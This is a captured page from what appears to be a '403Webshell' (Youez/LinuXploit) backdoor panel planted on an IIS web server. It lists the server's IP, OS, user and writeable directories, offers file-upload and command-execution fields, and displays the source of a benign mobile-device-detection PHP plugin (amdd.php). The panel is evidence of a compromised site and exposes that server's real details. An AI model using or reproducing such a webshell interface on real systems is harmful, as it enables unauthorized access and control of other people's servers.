403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/icd/plugins/mobile/amdd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/icd/plugins/mobile/amdd/amdd.php
<?php
/**
 * Advanced Mobile Device Detection
 *
 * @version		1.2.9
 * @license		GNU/GPL v2 - http://www.gnu.org/licenses/gpl-2.0.html
 * @copyright	(C) 2008-2014 Kuneri Ltd.
 * @date		June 2014
 */

require_once dirname(__FILE__) . '/config.php';
require_once dirname(__FILE__) . '/ua.php';
require_once dirname(__FILE__) . '/database/database.php';

class Amdd
{
    /**
	 * Status of last device detecting:
	 * 0 no detection
	 * 1 isDesktop
	 * 2 exact match
	 * 3 from cache
	 * 4 prefix match
	 * 5 levenshtein match
	 * 6 unknown device
	 * @var int
	 */
	public static $matchType = 0;

	/**
	 * Get capabilities for given UA
	 * @static
	 * @param string $ua User-Agent (will be auto-detected if it's null)
	 * @param bool $exact
	 * @return stdClass
	 */
	public static function getCapabilities($ua = null, $exact = false)
	{
		self::$matchType = 0;

		if($ua === null)
			$ua = AmddUA::getUserAgentFromRequest();

		$ua = AmddUA::normalize($ua);

		self::$matchType = 1;
		if(AmddUA::isDesktop($ua))
			return self::makeDesktop();

		$ua = substr($ua, 0, 255);
		$data = self::getDevice($ua, $exact);

		if($data !== null)
			$data = @json_decode($data);

		if($data === null)
		{
			self::$matchType = 6;
			$data = self::makeDesktop();
		}

		return $data;
	}

	private static function makeDesktop()
	{
		$data = new stdClass;
		$data->type = 'desktop';
		$data->markup = '';
		//$data->screenWidth = 0;
		//$data->screenHeight = 0;
		//$data->imageFormats = array('gif', 'jpg', 'png');
		return $data;
	}

	private static function getDevice($ua, $exact = false)
	{
		$db = AmddDatabase::getInstance(AmddConfig::$dbHandlerName);

		self::$matchType = 2;
		// load matched device
		$data = $db->getDevice($ua);
		if($data !== null)
			return $data;

		if($exact) return null;

		// fast test for bots and desktop browsers
		$group = AmddUA::getGroup($ua);
		if($group === 'bot')
			return null;

		// load device from cache
		if(AmddConfig::$cacheSize != 0)
		{
			self::$matchType = 3;
			$data = $db->getDeviceFromCache($ua);
			if($data !== null)
				return empty($data) ? null : $data;
		}

		// find closest device
		$devices = $db->getDevices($group);

		if(preg_match('#^(Mozilla|Opera|NetFront)/#', $ua))
		{
			self::$matchType = 5;
			$data = self::findByLevenshtein($ua, $devices);

			if($data === null)
			{
				$pos = strpos($ua, ')');
				if(!$pos)
					$pos = strlen($ua);

				self::$matchType = 4;
				$data = self::findByPrefix($ua, $devices, $pos);
			}
		}
		else
		{
			preg_match('#^(DoCoMo|portalmmm)/.*?(\(|$)#', $ua, $match)
				or preg_match('#^.{5,}?[ /]#', $ua, $match);
			$pos = isset($match[0]) ? strlen($match[0]) : strlen($ua);

			self::$matchType = 4;
			$data = self::findByPrefix($ua, $devices, $pos);

			if($data === null)
			{
				self::$matchType = 5;
				$data = self::findByLevenshtein($ua, $devices);
			}
		}

		// save to cache
		$db->putDeviceToCache($ua, empty($data)?'':$data, AmddConfig::$cacheSize);

		return $data;
	}

	private static function findByPrefix($ua, $devices, $best)
	{
		$ua_size = strlen($ua);
		$data = null;

		foreach($devices as $device)
		{
			$dev_ua = $device->ua;
			if(substr($ua, 0, $best) != substr($dev_ua, 0, $best))
				continue;

			$min_size = min($ua_size, strlen($dev_ua));

			while($best < $min_size && $ua{$best} == $dev_ua{$best})
				$best++;

			$data = $device->data;
		}

		return $data;
	}

	private static function findByLevenshtein($ua, $devices)
	{
		$ua_size = strlen($ua);
		$data = null;

		$best = min(24, $ua_size); // maximum number of changes in UA string
		foreach($devices as $device)
		{
			if(abs(strlen($device->ua) - $ua_size) > $best)
				continue;

			$current = levenshtein($ua, $device->ua, 1, 2, 2);
			if($current <= $best)
			{
				$best = $current;
				$data = $device->data;
			}
		}

		return $data;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit